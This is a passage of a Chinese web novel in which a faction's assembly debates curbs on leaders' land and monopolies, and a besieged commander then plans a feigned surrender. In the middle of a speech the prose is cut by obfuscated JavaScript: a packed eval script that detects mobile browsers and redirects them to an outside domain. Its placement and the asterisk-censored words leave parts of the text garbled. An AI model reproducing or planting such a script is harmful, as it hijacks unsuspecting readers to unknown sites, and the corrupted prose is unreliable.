窦立德小心提醒:“白头领,我还是那句话,做事不是夺陇比赛,不能指望着一局一胜,你既有心在此事上,又是监察部,更应该持重一些……若是一点退让都不愿,强行举手的话,怕是连已经取下的地陇也要被夺走的……现在举手,你的提案决难通过。” “若是通不过。”白有思忽然插嘴。“失掉威信的可不只是白分管,外人也会以为咱们黜龙帮无意澄清吏治呢!” “确实。”雄伯南为难起来。“这个必须要顾忌……白分管说的光明正大。” “那就再多加几条约束如何?”就在这时,张行忽然开口,引得许多人整肃起来。“你们有什么想法?不禁止亲眷行商开工场作坊之外……” “之外……矿山如同土地,禁止头领亲眷开矿如何?”魏玄定提了个建议。“还是干脆禁止所有私人开矿。” “禁止私人开矿有些过犹不及吧?”窦立德立即提醒。 “矿山本就是公产,起事后都收为帮产,所谓私人开矿只在登州有,也只是包揽出去……”曹夕稍作解释。“所以只要外包时查清楚来人底细即可。” “那就好办了,就是禁止头领亲眷开矿。”魏玄定拿定了一个限制。 “若是按照这个道理走,还可以禁止帮内头领亲眷参与一些特定商事。”崔肃臣接到了一些路数。“比如刚刚首席说的金银……那位长公主在东都就是垄断了金银兑换的生意,又碰上曹彻要修大金柱,才能这般轻易掏空了地方。” “金银、矿山、盐、铁、大宗粮食、布匹,战马牲畜,船只车辆……”徐大郎幽幽数了起来。 “不行。”出乎意料,张行打断了这个思路。“若是这般计量下去,就没有赚钱的生意了,还不如直接禁止亲眷经商呢!我的意思是,除了基本的盐铁,其他各处的关键是垄断!不垄断就行,不让有靠山的人再独占某个生意就行。” “确实。”崔肃臣第一个反应过来。 “的确如此。”陈斌也醒悟过来。“关键是不能垄断,一旦垄断,加上背后又有人,那不是祸害也是祸害了!” “之前有相关律法吗?”张行来问崔肃臣。 “有。”崔肃臣立即点头。“早在白帝爷时候许多诸侯国就有,当时普遍性不许都城内行业被垄而断之……” “那就这么加一条约束,以行台为准,头领家眷的生意不许垄断行业。”陈斌咬住了这个讨论结果。“让崔总管结合律法制度,制作出来一个特定的帮规。” 一众大头领纷纷颔首,外围的头领们听到这里,也都无话。毕竟,到现在为止,其实并没有伤及他们的真金白银,只是稍微在外面立了个有形无形的约束罢了。 只不过心里到底不爽利起来。 然而,不爽利的人有的是,还轮不到他们。 “如此,只是隔靴搔痒罢了,本质上还是放纵。”白金刚站在大殿的最中央纹丝不动,声音却在殿中回荡起来。 那副气势,莫说周围的大小头领们各各心里心虚,便是远端的几位使者,也看的发呆——他们晓得这大会是真讨论事的!但没想到会讨论到这个地步! 且不说外面人如何佩服,殿内的气氛已经尴尬到了极致。 其实就是那个道理,大家都知道白金刚有些脱离实际了,但偏偏他是占着大道理的,而且在这种大会上把大道理一摆,谁也受不住。非只如此,只是受不住倒也罢了,关键是帮里的核心们明显也不愿意出现通过举手否决这个大道理的情况,那样的话显得黜龙帮也太不光明正大了! 而这些核心的态度,又反过来让外围的头领们心慌不止,这万一要是里面的人太要脸,真让白金刚的提案给过了怎么办? 真要为了那些铺子搞叛乱吗?事业搞到现在搞得那么大,难道真要为几个铺子送了前途不成?! 而且就现在这个一年一整军的结果,搞叛乱也搞不起来呀? 退一万步说,万一搞起来了,也怕是要被那白三娘一剑戳死吧? 可真要把铺子交出去?! 殿中已经明显有些慌乱了。 “其实吧,白头领的意思,本质上是要尽量杜绝帮里头领们腐化堕落,沦为民贼……但要我说,真要是留心这个,以大魏做反面参考,关键还真不在商事上。”眼瞅着气氛差不多了,张行决定图穷匕见。“关键还是土地!” “可是首席,我们是均田制。”白金刚本能警惕了起来。“便是之前一些资历头领藏了些庄子,今年开始也统计了出来,以建帮的功勋授了回去,而单龙头更是带头上交了不少庄子……这种情况下,并没有什么土地上的乱子,铺子才是最大的乱子。” “现在没有,将来就没有吗?”张行盯着对方缓缓来问。“白头领,就现在这个天地,最值钱的,最为人看重的,其实还是土地……便是帮里头领家眷占铺子,本意还是因为咱们均田制执行的好,没有土地上的空子让他们钻……而一旦有了口子,就不是这么回事了,你看大魏朝那样子。” 白金刚想了一想,点头承认:“确实如此。” “所以,与其计较商事,不如在土地上防微杜渐更重要一些。”张行继续来言。“应该趁着均田制稳妥,大家没有过多土地上计较的时候,把几个规矩给落实了……你以为如何?” 白金刚意识到什么,正色来问:“首席已经有了腹案?” “不错。” “可若如此,为什么不能两个一起防微杜渐呢?”白金刚还是不想放弃。 “那就是真要把帮里头领给挤爆了。”张行指着一侧言道。“白头领,大家刚才与你说了许多,有对的有不对的,但无一人不是想尽量团结包括你在内的帮内人心,好让黜龙帮接下来绝荡**不受阻碍……你既为帮中头领,也该有几分此类心思才对。毕竟,咱们要晓得一个基本的道理,只有黜龙帮存续下去,眼下的制度存续下去,你才能站在这里讨论这个事情……对不对?” 白金刚沉默良久,方才在众人的屏气凝神中来问张行:“首席的防微杜渐又是什么呢?” “很简单。”张行站起身来,与白金刚并列,然后看向另一个方向来言。“现在咱们的税赋大约就是三种……商税、田赋、丁税……商税不是今天要说的,但也可以提一提,咱们应该撤掉多余关卡,留下的特定关卡也只收运费而不是过路费,从而让货物尽量流通,然后只在市场中收交易税,以此来鼓励商贸。” 不少人点头,但也有人没听懂,还有人只是等着这位首席说“今天要说”的。 “然后是今天要说的,咱们应该把丁税入到田赋中去!”张行音量明显提高了一截。“以现在均田制来算,对于大部分人而言这么算其实没有半点变化,只是一些土地较多的人,也就是今天在这个殿中的人要多纳一些田赋……大家以为如何?我是以为,这是防止出现大魏那种均田制度受损,功臣占地无度的一个法子。” “我赞同。”白有思脱口而对,很显然她也是第一个意识到张行在说什么的人。“别人不晓得,白氏当年就是这种情况,关西土地有限,于是就在关东占地……只一个梁郡那里,白氏的庄园,加上白氏姻亲的庄园,加一起不知道有多少地……我也不晓得当地有没有公平收田赋,便是公平收了我家的田赋,梁郡百姓因为我家少了许多授田,丁税却不变,岂不是合法合情合理的被我家欺压侵占了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168004|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 众人一时轰然起来,都在议论类似的事情,这个道理很简单,人人皆知。只是正如张行所言,授田制下,加上黜龙帮刚刚崛起数年,那土地超额拥有者,其实就是军功者,也就是黜龙帮的人,所谓最大的地主,更是这殿中的头领……所以,张首席的防微杜渐的法子,虽然有道理,却是让在场大家出钱,自然也有些不乐意。 只是,白金刚就站在张首席身侧呢。 “这有什么可说的?这是不是良法?”单通海有些焦躁了。“跟断了商事比,能多纳几贯丁钱?更不要说,是先多授了地,才有这个多给的丁钱,总是得利更多的。” “不是得利多少的事情。”崔肃臣正色提醒道。“说白了,是要税赋公平,不能占平头百姓的便宜。” “不管前面的如何讨论,只这个我是赞同的。”雄伯南忍不住直接给了表态。“想要人心依附,就是公平这两个字!” 见到大头领范畴内,几乎无人反对,而外围头领那里又忌惮自家权威与白金刚的“真刚”,张行晓得机会难得,赶紧抛出了第二个目的:“天王说的极好,所以徭役也该公平……” “这就更简单了,领兵的天然抵多个徭役,只是不参军的头领家中才有这个,但如今也是可以拿钱抵役的,也是多几个钱的事。”窦立德立即道出关键。“但首席是对的,也该这个时候来说,因为就是现在不领兵的头领还少,此事过得轻巧,不然往后有的牵扯……这是首席看得远。” “这不是我的主意。”张行言之凿凿。“这两个防微杜渐其实是济阴几位头领家眷亲长的主意……上个月几位头领的亲眷家长来邺城来看夺陇,我请她们在观风院吃了饭,与她们一起聊了聊,就有一些头领的亲眷主动说起此事……诸位,这才是帮之楷模!” 丁盛映只觉得脑子嗡了一下,单通海、刘黑榥在内的许多头领也想起许多往事,却是立即信了。 那几位老太太,早被这位张首席拿些虚头巴脑的甜言蜜语给哄得入了巷,只要这位张首席稍微暗示,她们绝对乐意用几贯钱来换个好名头!尤其是那几位老太太的核心人物,当时还得了漳水突围战的勋章,就更好哄骗了! 只是,知道归知道,你也没法驳斥吧? 非要说哪里不对劲,也就是这位张首席不对劲,为了几贯钱,就以这天下数一数二的身份去与几位老太太做交道,让他们来推着帮里最不愿这事的几个头领……何至于此呢? “龙头禁止经商,头领出示财产,经商不准垄断,摊丁税入田,头领一并交役钱……还有什么?”刘黑榥本来对这事半点兴致都无,只是潜心来看这些掌权的关系罢了,此时却莫名急惶惶起来,而他一急,那就是真急了。“首席一并说来,咱们速速把事情过了。” “还有……”张行认真想了一想。“还有,各地征粮运输熔铸的火耗要统一,不能乱定私定,只能让大行台来定。” “这是自然,早该如此。”陈斌第一个应声。“省的官吏明着**,这也是防微杜渐。” 话到这里,雄伯南忽然来问白金刚:“白头领,如果是这样防微杜渐,你觉得如何?” “尚可。”白金刚终于不再坚持……他已经意识到,自己本质是张行张首席用来推行这些政策的工具,但他乐意如此,就好像那些需要成就感和存在感的老太太们乐意被驱使是一样的。“只是必须要严肃执行方可!” “所以,用你为监察部分管。”雄伯南再度提醒。 “那我接受。”白金刚终于妥协,说完,竟是直接回到座位中了。 “咱们举手吧!”刘黑榥迫不及待。“白头领已经改了提案,现在几个防微杜渐放在一起……一起举,过去就行了!” “这次就不用只是大头领了,既然这几个条理牵扯到所有头领,也主要帮内头领的首尾,那所有人一起举手。”留在原地的张行说完,直接举手。 最内圈的帮内核心们,也几乎是毫不犹豫,人人举手,连单通海都没有作妖,而受此影响,大头领们纷纷跟上,无一人不举……不过,到了最外圈的头领们那里,还是引起一些波动和犹疑。 最后,张行等来统计,当众宣布:“七十八手,此番连续提案,已经正式过了。” 此番讨论,明显超过之前的决议许多,大家讨论到现在,更兼有一位茅坑里的石头,又臭又硬的白金刚存在,更是觉得累,此时通过,反而让众人有些如释重负的感觉。 张首席本想回到座位,看到这一幕,却不由似笑非笑来喊:“诸位,为何不呼喊起来呀?” 外围的头领们心下一慌,一个激灵便争先恐后呼喝了出来。 呼喝完毕,张行终于大笑: “诸位,诸位……不要觉得这个提案简单,或者觉得最起码是现在简单,就不把这个议案当回事。要我说,这便是咱们黜龙帮最了不起的地方,因为不管如何也不管多少,咱们都是为了天下的利,让了自己的利,而这正是天下最了不起的事情,也是咱们建黜龙帮的初衷,更是咱们胜过那些故步自封土包子的所在! “凭这个,天下也该是我们的才对!” 这般夸赞一番,其人方才坐回,而那些被一惊一乍一夸的黜龙帮众头领,却都有些茫然无感。便是围观的使节里面,也多觉得这位首席是在调理属下,只有一个房玄乔思虑较多。 就这样,议案继续了下去。 说实话,接下来的议案还是非常多的,尤其是考虑到大行台刚刚成立,考虑到之前一年因为军事活动过于密集以至于大部分举措多是临时设置,那就更明显了。 使节们和头领们的兴致也都在重新恢复,因为这些后来的议案说到了军事调度,说到了后勤补给,说到了军队的新一轮整编和中下层军官调度,也包括窦小娘、西门大郎等人转为领兵头领的安排,将房彦释转为武安行台等重要人事安排。 甚至有人提议将周行范的骑兵营替换到北方,只是没通过而已……那支骑兵,本就是在河南组建的,而年初那一战损失极重,增补新兵极多。 不过,这些敏感的军事提案都没有让房玄乔提起精神。 “最后一个议案。” 时间来到午后,欧阳问也已经口干舌燥,精疲力竭了。“军务部总管徐世英议,以春后,发……发首席张行以下,雄伯南、徐世英、李定、窦立德、单通海、白有思、王叔勇、牛河、徐师仁、伍常在、秦宝、贾越、翟谦、芒金刚、李子达、刘黑榥、张十娘、王伏贝、程名起、郝义德、韩二郎、张公慎、丁盛映、曹晨、冯端、马围、王雄诞、柳周臣、张金树、窦小娘、元宝存、房彦释、张善相、夏侯宁远、郭敬恪、徐开道、庞金刚、寿金刚、常负、余烩、苏睦、苏靖方、樊梨花、西门大郎,并赵郡暂署头领齐泽、高士省等四十七位头领,及其所领三十八营战兵,两营军法兵,一营巡骑,一支踏白骑,合计八万众北上,扫荡河北!” 一阵诡异的沉默后,欧阳问说出了今日殿上他最后一句:“九十手,今日议毕!” 殿内呼喝声整齐而宏亮,黜龙帮年末大会正式结束。 众人散开,张行落在后面,喊住了张世昭,然后先目送众人离开大殿各归行宫内住处,才与张世昭一起缓缓出殿,准备去一个地方。 临到殿门前的时候,房玄乔走了过来,拱手行礼。 张行当然会给这个印象不错的年轻人面子,便也站住回礼。 房玄乔行礼完毕,不顾周边还有零散头领和几位使者,直接来问:“张首席,你定的那些防微杜渐之策是为了万世之太平吗?” 张世昭也好奇来看张行如何作答。 张行先是大笑,然后面露不解之色:“房玄乔,你不是晓得我的那些**道理吗?我怎么会求什么万世太平呢?今天这些策略,便是再有效,时间一长,也会被人钻空子,也会弊病重生……只是按照我素来的道理,那又如何呢?一来,我的防微杜渐之策是好策,二来,我已经推陈出新了,不管是新的策略,还是让黜龙帮这个新东西有了更多前景,夫复何求呢?” “我想也是如此。”房玄乔明显松了口气。“但还是担心张首席对那些策略过于自傲,以至于忘了咱们说的那些道理,现在看来,还是小子多虑了。” 张行点点头,复又来问:“你在东都随你师父一起做事,他做太学,你做蒙基?” “是。” “那就一起过来吧。”张行抬手示意对方跟上,然后便兀自出了大殿。 房玄乔不顾身后张世静、慕容正言、侯君束几人的怪异目光,匆匆跟上对方二人,拐了四五拐,出了行宫,便来到城西漳水畔的一处新造的建筑……来到之前,他就猜到这是什么地方,可来到之后,还是有些惊讶,因为这些蒙基的孩子待遇太好了。 他们穿着统一的漂亮蓝白衣物,踩着裹了皮**的六合靴,住着统一的宿舍,吃着与行宫内部廊下食一般无二的……呃,廊下食。 甚至头发都是干净的。 东都那里也在强制筑基,但跟这边比,就宛若一锅杂烩汤一般混沌和脏乱。 带着房玄乔参观了一圈后,张行在筑基小城高台上坐了下来,原本以为他是在居高临下观察好苗子,看看谁先筑基成功……结果等了一等,却见着那位曹夕曹总管亲自引着抱着一个大木箱的窦小娘过来,而窦立德窦龙头则背手走在后面。 “来来来!”这个时候,张首席却是终于出声了,带着雄浑真气的声音都快传到旁边结冰的漳水上来。“男孩子不许来,女孩子都过来,人人一根红头绳!” 房玄乔终于懵住了。 到了腊月底,过年的时候,红头绳的价格稳在了二尺十文钱。 第五十章 千里行(4) 二月末,河北大地当然称不上是草长莺飞,但也有杨柳争相吐枝,桃杏花色满庭,更重要的是,刚刚完成耕作的土地带出了一股新鲜的泥土味道,卷着微微冒头的新苗,染得河北大地赏心悦目。 这个时候,伴随着北归的候鸟,黜龙帮开始在邺城周边大举进行军事集结。 动静遮都遮不住。 这是一场准全面动员,所有黜龙帮的地盘都被激活,不仅仅是军队,大量的物资也通过刚刚解冻的大河上从河南运来,河上各处港口夜以继日,片刻不停。与此同时,原本在前线的防卫部队与河北地方各处也开始营建简易-临时军营、补给兵站,同时检查与维护道路。 至于邺城西北侧的宫城中,此时也不是简单的人满为患,更准确的描述其实是人来人往: 许多大行台的直属部门成员及其负责人现在并不在这里,而是分别去了各处,有去北面前线的,有去巡查交通的,有去河南押运粮草军械的,有去军营中检查兵员状态的……但是往往又持续不了太久,便又折回参加一些会议,提交或者传达一些文书,填一些表格,然后又去了某个地方。 除此之外,大量的中低级军官和地方吏员以及退役老兵被召唤到此处,他们与邺城这里原本的文书、参军、准备将们一起得到了普遍性加衔,然后又大量发往军中、后勤队伍和前线各处地方,担任核心职务的副职。 这不是简单的掺沙子来加强大行台权威,也不是单纯的追求战斗力提升,更多的考虑是基于以往的经验,为了大战和扩张而设计的一个方案。 大量增加军官是为了在可能的大战导致大规模减员后确保军队的架构不倒,以维持战斗力或者迅速重建;而转到后勤和地方则是为了确保有足够的备用官员及时接收新地盘,确保新地盘被黜龙帮的文法吏体制迅速激活,然后为此次北伐及时输血。 而就在这种背景下,黜龙帮外务总管谢鸣鹤又一次亲自北上,于二月廿七来到了河间。 “若薛公降服,其一,薛公本人与几位公子来去自由,无论是往归东都或者西都皆不阻拦,若是留下,薛公有大头领的位置打底,在大行台做事便是总管,领兵是正将,若是想往地方上去,予以龙头、行台指挥或者总管州总管待遇,只不能留在河间,可能要去登州或者徐州。 “其二,河间大营这里,薛公可以列出一个名单来,我们除了正常任用外,保证两个大头领、八个头领的位置,而且按照你们的观念,全都予以总管、分管、太守、正将、郎将的差遣……原本在河间大营任官的中层军官郡吏,只要不是明显跟我们对着干,两年内也不会调度。 “其三,以上条件,是张首席亲笔签字,经大行台内正式发出的……限期是三月初八,三月初五之前,我都在河间,初八之前,只要薛公这里实际上放弃抵抗,我们也尽量按照这个条件来……请薛公鉴纳。” 随着谢鸣鹤说完,河间郡河间县河间城内的河间大营总管府大堂上陷入到了诡异的沉默中。 坐在首位的薛常雄两下去看,心中冰凉……他久在军中,如何不晓得,军中自有气氛,若是此时不去喝骂,便是意动了,而且这也是自家权威衰落的结果,否则只是为表忠心,也该有许多人骂出来的。 “狗贼怎敢小瞧了我们河间?”正在不安中,一将忽然按剑跃出,指着谢鸣鹤来骂,却是前河间副总管窦丕之子窦濡。“我们河间与你黜龙贼仇深似海,只决生死,何谈媾和?!” 众人听到这里,也多肃然起来,无他……之前黜龙帮侵略河北,跟河间大营打了两个急促而又激烈的正面大战,黜龙帮速胜、河间大营速败之余却是产生了许多伤亡。 大胜的黜龙帮都**一位头领,河间大营这里更是惨重,薛常雄**俩儿子,窦濡的父亲身为副总管也战死,现在的河间大营二号人物,河北本地名族慕容正言也是重伤残废。 其余将佐军士,也是颇有死伤的。 “说的好!”薛万成也站出来呵斥。“你们杀了我二哥四哥,这是生死骨肉之仇,如何能与你们做议论?咱们俩家,只有生死而已!” “不错!黜龙贼若要战,那便来战!” “义父放心,幽州十万铁骑随时可以南下,到时候不知道是谁投降呢!” “黜龙贼看似来势汹汹,其实只是虚张声势,若是真有把握,何必给这么厚的条件……这就是缓兵之计!总管,千万不要中计!” “父亲,四弟和二哥的仇不能忘!” “总管,咱们不怕他!” “……” “……” “好了。”忽然间,坐在主位上的薛常雄抬了下手,制止了这种突然爆发的无谓表演,然后看向了一位关键人物。“慕容将军,你觉得如何,能打吗?” 双腿残废的慕容正言坐在左手第一位的位子上沉默了好一阵子,以至于周围将领都有些不耐烦起来,倒是薛常雄一直保持了耐心。 过了许久,这位本土大将方才开口,却并没有直接回复:“总管,不管如何,两军交战不斩来使,何况我之前去黜龙帮也得人家好生招待,且请谢总管回驿馆歇息。” “好。”薛常雄会意,然后便朝谢鸣鹤一点头。“谢总管且去,生死荣辱,我们自会给你个说法。” 谢鸣鹤也不纠结,也不生气,直接一拱手就走了。走出大堂来,迎上明媚的春光,其人还抬起头对着春日暖阳微微翘了下嘴角,却不知道是想冷笑还是单纯想打哈欠了。 且不说谢鸣鹤乐得回去自在,人一走,这边堂中便有骚动再起之意,却被薛常雄一只手按下,然后继续来看慕容正言。 慕容正言犹豫了一下,继续来问:“总管,能不能私下相对?” 薛常雄叹了口气:“我知道慕容将军的意思了。” 堂上也冷了下来。 慕容正言无可奈何:“总管,有些话牵扯到人,真不能公开来讲,你也不该这般直接下定论。” 薛常雄想了一想,只好一挥手,示意其他人离开。 而就在众人无奈转身时,这位河北行军总管复又喊住了其中两人:“万全,阿信,你二人留下听一听。” 薛常雄幼子薛万全,义子罗信闻言各自精神一振,重新立定,而其余三子外加一个侄子则一起愤愤带头离开,倒是其余将佐,依旧冷静,没有多余表示。 人走后,慕容正言看过两个年轻人,便朝薛常雄直言相告:“我知道总管想问我什么,我也不能做隐瞒,河北地方出身的军官和地方官吏,信都那边的完全不能再信,一开战便要倒戈卸甲的;博陵那边的,未必会直接倒戈,但也不会过分助力我们,只要黜龙帮过了浊漳水,他们也会不稳……” “信都我懂,博陵都这样吗?”薛常雄难以理解。 “这还不算什么。”慕容正言正色道。“关键是军中……” “慕容将军是想说那些军官人心动荡,居然敢直接哗变,还是有人已经做了黜龙贼的内应,成了叛贼?”罗信插嘴来问。 “不是。”慕容正言正色道。“不是军官,最起码不止是军官,我担心的是军官和士卒一起动荡,尤其是这两年河间大营里的士卒大多是河间三郡新募的……他们都是本地人,多晓得黜龙帮政令简单,授田公平,所以多有动摇……总管,军官和地方望族未必真对黜龙帮有多少向往,便是有往来也艰难,只是碍于形势,而下面的百姓却是管不住往来的,尤其是这一年,黜龙帮多有针对性的鼓动……现在怕的是两边相互影响,造成大乱。” 薛常雄面色有些难看。 罗信和薛万全一时也都不吭声。 原因很简单,慕容正言身为本地军事世族之后,现在的河间阵营的二号人物,算是对本地人心这个事情有着独一无二的发言权,更重要的是,人家当日也是为薛常雄拼过命的,这两年也是任劳任怨,算是可以足够信任的对象。 那么,他现在这么说,恐怕下面真就是不稳了。 “那该如何是好?”半晌,薛万全也有些无力。“难道只有降或者走的结果了?” 薛常雄也是一声叹气:“黜龙贼说的不错,给我两年时间不能收拢河北人心,使上下一体,活该我败给他们……” “总管这话说的。”慕容正言叹气道。“那是总管谨守臣道,没起野心……不是人人都处心积虑,以至于先帝刚刚去了江都便存心要取而代之的。” “这倒是实话。”薛常雄闻言冷笑一声。“天下诸侯,从南到北,要是贼军,便要从头拼杀,一城一地来建立基业,若是官军,十之**要随波逐流,被形势逼到份上,只有他一个白横秋,处心积虑,一出动,晋地十几个郡就成铁打的一片了……而且好巧不巧,三征前便落得太原留守的位置,哪里是等先帝去江都?” “之前的事情就这样了,多想无益。”慕容正言无奈打断对方。“总管,你问我地方上的情况,我已经如实作答,现在咱们得有决断。” “如你所言,便是不能打了?”薛常雄顿了一顿,问出了一个跟自己幼子类似但又不同的问题。 慕容正言瞬间明白了对方的心意。 说白了,薛常雄这个人没那么难以理解,甚至他这类人才是乱世最常见的……有本事和想法,但没有改天换地的野心和勇气,有忠心和道德,但又无法抵御割据一方威福自为的诱惑,好的结果是谨守一方,逍遥半生,乃至于按照之前几百年里的范例,遇到特定的历史环境,是可以让后代称王称霸,逍遥几代人的。 而若是不好的结果呢? 不问自知,生死荣辱,一刀而已。 其实,杜破阵也是类似情态,只不过他的淮右盟生在黜龙帮这个庞然大物身侧,还都属于义军阵营,他本人能踏上台阶也是因为张行、白有思、秦宝这些人,天然多了两道捆仙绳罢了。 回到眼前,慕容正言沉思片刻,决定打开天窗说亮话:“如此说来,总管还是想尽量生存?” “不错。” “那我能想到的,便只有死守河间城的一个方略了。”慕容正言艰难道。“一旦出兵野战,部队洒在外面,自东向西战线绵延四百余里,打起来以后犬牙交错,那就更乱了,到时候必然有人投降、倒戈,也十之**会引起人仿效,更多的人还会坐守城寨,以观成败……而这样的话,按照现在咱们两家的实力对比,几乎是必败无疑,而且是如山倒,如水决,一发不可收拾的那种。” “可若是死守河间,哪怕是我在河间城立了塔,也不过是枯城待死吗?”薛常雄皱眉道。“我晓得你的意思,借我的宗师修为和河间大营多年对河间城的整修经营收拢部分军心,把握住河间一城,但是军心不是无源之水无本之木,离开了外面的纵深只是枯耗而已。” “只能指望守城期间外面有变了,幽州军唇亡齿寒,不会不救的,但指望他们也难。”慕容正言无奈道,然后稍微一顿,道出了他本人的看法。“其实总管,要属下诚心诚意为你着想,我还是要说,黜龙帮给的条件已经足够优厚了……总管要面子可以去东都、关西,总管长子不是在东都吗?要里子也可以给自己和几位公子寻个实权的结果,何必计较那些私仇旧怨呢?” “我若是能放下这些私情旧怨,当日就直接随白横秋走了。”薛常雄摆手制止了对方的劝说。“大魏既亡,我薛常雄便是再无能,也不愿再被这些瞧不起的人给使用折辱。” “可是如之奈何呢?”慕容正言无奈摊手。 场面再度陷入尴尬。 而过了片刻,罗信终于忍耐不住:“义父,慕容将军,事到如今,小子有一计,或许可以一试。” 慕容正言与薛万全对视一眼,然后各自去看这位罗少将军。 “你说。”薛常雄倒是没有什么忌讳的。 “慕容将军和义父的话小子已经听明白了,想坚持住就是只有固守待援一条路,却忧虑于河间军上下早就没了军心士气,守城期间外面被黜龙贼攻城略地,更是会人心自丧,不能持久,然后等到幽州军到了也无能为力……对也不对?”罗信恳切来问。 “差不多。”薛常雄给予了肯定回答。 “那何妨诈降呢?”罗信猛地上前一步。 “何意?”薛常雄一愣。 “向黜龙贼诈降,按照他们的条件要军权要头领数量,并以此为理由将河间大营主力汇集过来……这样的话,便是河间大营内部早已经军心涣散,或者跟黜龙帮眉来眼去,也反而容易**到此,并且不出乱子。”罗信将自己计划的要点点出。“然后黜龙帮见到大军汇集,一面会因为诈降而放松,另一面却也会因为我们大军**不敢怠慢,依旧派遣主力来河间做打算……这个时候,若是幽州铁骑尽出,我们再忽然从河间城出兵,双方夹击于滹沱河与浊漳水之间,黜龙军必然猝不及防,一战而胜,扭转乾坤也未必不可。” 薛常雄一时沉吟不应。 “怕只怕弄巧成拙,反而失控。”慕容正言正色提醒。 “是有这种可能的。”罗信连连颔首。“也有可能计策上来就失败暴露,比如黜龙贼下了狠手,直接派遣了他们的三位宗师过来控制局面,咱们又有人直接顶不住压力去告密……怎么都有可能。但是,刚刚慕容将军不是说了嘛,现在的局面是十成里没有一成的胜算,更有可能是坐以待毙……与其如此,不如一搏。” “说的好。”就在慕容正言还要说什么的时候,薛常雄忽然开口采纳了这个建议。“说得好……咱们跟黜龙帮比实力太差,比势头更是一个上一个下,我又是外来人,不得河北人心,本来就没有什么指望,现在阿信有此一计,而且仔细想想确有一定胜算,已经足够好了,就用这个法子!” 慕容正言面色一僵……却也无法。 他刚刚想说的是,这的确是个死中求活的法子,但前提是抵抗到底的法子,而若是单纯考虑生路,这么做,无论成败,便也相当于自绝于黜龙帮了,将来人家抓到你和你几个儿子,直接一刀砍了,怕也活该了。 而很显然,薛常雄是知道他慕容正言这个意思的,却直接抢在他开口前出言定下此事,俨然是要宁死不屈了。 但是……慕容正言面色不变,心中却叹了口气,薛常雄对他来说有知遇之恩,便是如此,大不了随他一死罢了。 “若是这般,此计还有个要害,请义父大人计较。” 罗信见到薛常雄采纳他的建议,则是欣喜若狂……这完全可以理解,不仅仅是他得到谁谁谁认可那么简单,这当然也有,可除此之外,他来时得到亲父罗术的明确提醒,晓得河间大营的存亡对幽州大营来说也是生死存亡的大事,所以这一次是既为大局出了力,又是个人得到了义父的认可,而且很可能为此得到亲父的认可,还能挫败自己的表兄以及给自己带来心魔的那些人,简直不要太让人振奋。 “你是说得让一些人知道这事,但又不能让一些人晓得此事?”薛常雄立即抓到关键。 “正是。”罗信赶紧颔首。 慕容正言做好了心理建设,此时想了一想,立即出言:“几位公子自然可以信任,窦郎将也可以信任,还有高将军也要告知……” “高将军可信吗?”一直没怎么说话的薛常雄幼子薛万全忽然出言。“渤海高氏可不只是在渤海一郡,整个河北、北地、东境,乃至于东夷,全都有渤海高氏,黜龙帮里姓高的就不少。” “高将军若不能信,河间大营本地军将就没人可信了。”慕容正言赶紧提醒薛常雄。“总管,少了本地军将控制,到时候突然出兵,怕是要出岔子。” “有父亲在,只要军队都在一处,如何会出岔子。”话到这里,薛万全脸色有些发黑。“慕容将军,我不是在对你,我绝对信得过你,可是莫忘了陈斌……他当年如何得父亲信任,结果呢?只是那谢鸣鹤与他做了勾连,临到阵上遇到了事,便直接膝盖一软了……而高将军仅凭他的姓氏便晓得,他肯定跟黜龙贼有过勾连。” 慕容正言听到陈斌两个字,立即心下一凉,却是晓得,自己无法再劝了。 非只如此,薛常雄排斥投降黜龙帮,乃至于排斥向黜龙帮低头的一个硬结,应该也在于此了。 果然,薛常雄听到这里,微微一叹,看向慕容正言:“慕容将军,地方军将的约束就看你了……此计没必要再外扩,人多必生乱。” 慕容正言只是点头。 须臾片刻,薛常雄先唤来儿子薛万年、薛万成、薛万平,以及侄子薛万备,战死的窦丕之子窦濡,先做了一番交代,随即又喊来军中其余十余位军将,宣布了准备接受黜龙帮条件,和平交接河间的意思。 做戏做全: 众将闻言,自然大吃一惊,却居然纷纷来劝,但薛常雄只是叹气,说要给几个儿子留足后路。 而几个儿子反应也不一,有两个同意的,有一个不做声的,还有一个幼子薛万全似乎心有不甘却又不敢违逆亲父的;侄子薛万备则是请求离开河间,往归西都;窦濡更是不忿,坚持要作战,被慕容正言呵斥后眼看着薛常雄不理会自己,更是直接愤恨离场;而罗信也在苦劝之后,直接请求离开河间回幽州报信。 两个反对派离开后,薛常雄复又开始讨论起自己应不应该留在河间,以及两个大头领、八个头领该分别是谁……好不容易议定了结果,复又请来了谢鸣鹤。 谢鸣鹤听完条件,也不多言,只说薛常雄此举善莫大焉,然后便遣随员速速南归,告知邺城,自己则继续留在了河间城。 随即,二月廿八,河间大营便正式发布命令,要求各地驻军抽调精锐,汇由主官带领,汇集于河间城,以作整编。 黜龙帮马上就要北伐,此时进行整编,似乎只有整编投降可以理解,故此,消息传出,河北震动。 而也就是此时,谢鸣鹤的随员便已经带着特定消息回到了邺城。 随即,三月初一,在临时召开的高级军事会议上,此事引起了剧烈的争议……譬如陈斌坚定认为这是诈降,因为薛常雄不是那种会投降的人,何况投降的那么干脆利索?而窦立德则认为,河间大营上下早就有人心离散,再加上冯无佚的倒戈、曹铭与牛河的**震慑,河间大营三大根基之一的信都郡几乎已经算是瓜熟蒂落,这种情况下河间大营的投降是非常可信的。 不过,这番争议虽然激烈,却来的快,去的也快,因为临时赶来的李定迅速终结了这个讨论。 “我是不信薛常雄会降的,他若是能降,当日便该随了白横秋离开河北……割据一方,作威作福的滋味,你们都没尝过吧?如何轻易放下?”李四郎似笑非笑,环顾而谈。“不过无所谓,他哪怕是真降,我们难道就要放松警惕,不做防备吗?数万大军,猬集一处,一旦失控,谁来负责?谁知道他会不会反悔? “更重要的是,现在我们黜龙帮势大,幽州与河间互为表里,这几日间幽州会不派人去再劝回来吗?会不出兵干涉吗?所以退一万步说,就算是薛常雄和河间大营一心一意来降,我们就不做在河间与**规模交战的准备吗?” 